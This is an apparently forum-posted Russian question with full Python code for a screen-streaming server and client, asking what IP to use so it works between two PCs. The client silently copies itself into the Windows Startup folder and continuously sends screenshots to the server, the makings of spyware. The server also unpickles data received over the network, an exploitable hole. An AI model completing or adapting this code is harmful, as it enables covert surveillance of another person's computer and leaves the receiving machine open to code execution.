У меня есть код, для сервера и клиента для передачи записи экрана, на одном ПК он работает, а на двух будет ли работать есть ли я в locallhost указал 127.0.0.1, если работать не будет то что указывать?
Сервер
import socket
import cv2
import pickle
import numpy as np
import struct
HOST = '127.0.0.1'
PORT = 7777
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')
s.bind((HOST, PORT))
print('Socket bind complete')
s.listen(10)
print('Socket now listening')
conn, addr = s.accept()
data = b''
payload_size = struct.calcsize("Q") # Изменил "L" на "Q" для поддержки 64-битных систем
while True:
while len(data) < payload_size:
packet = conn.recv(4096)
if not packet:
break
data += packet
packed_msg_size = data[:payload_size]
data = data[payload_size:]
msg_size = struct.unpack("Q", packed_msg_size)[0]
while len(data) < msg_size:
data += conn.recv(4096)
frame_data = data[:msg_size]
data = data[msg_size:]
frame = pickle.loads(frame_data)
frame = cv2.imdecode(np.frombuffer(frame, np.uint8), cv2.IMREAD_COLOR)
cv2.imshow('Заголовок окна', frame)
if cv2.waitKey(1) == ord('q'):
break
cv2.destroyAllWindows()
conn.close()
Клиент
import socket
import pickle
import struct
import pyautogui
import cv2
import numpy as np
from PIL import Image
import os
import shutil
# Перемещение программы в автозагрузку
def move_to_startup():
# Путь к файлу, который нужно переместить (ваш текущий скрипт)
source_file = os.path.abspath(__file__)
# Папка автозагрузки для текущего пользователя
startup_folder = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
# Целевой путь, куда будет перемещен файл
target_file = os.path.join(startup_folder, os.path.basename(source_file))
# Перемещение файла
if not os.path.exists(target_file):
shutil.copy2(source_file, target_file)
print(f"Файл перемещен в автозагрузку: {target_file}")
else:
print(f"Файл уже находится в автозагрузке: {target_file}")
# Вызов функции перемещения программы в автозагрузку
move_to_startup()
# Основная функция клиента
def main():
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('127.0.0.1', 7777))
while True:
image = pyautogui.screenshot()
image = image.resize((1366, 768), Image.LANCZOS)
image = np.array(image)
# Конвертация изображения в BGR для OpenCV
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
# Сжатие изображения для уменьшения размера данных
_, frame = cv2.imencode('.jpg', image, [cv2.IMWRITE_JPEG_QUALITY, 70])
data = pickle.dumps(frame)
message_size = struct.pack("Q", len(data))
clientsocket.sendall(message_size + data)
# Запуск основной функции клиента
if __name__ == "__main__":
main()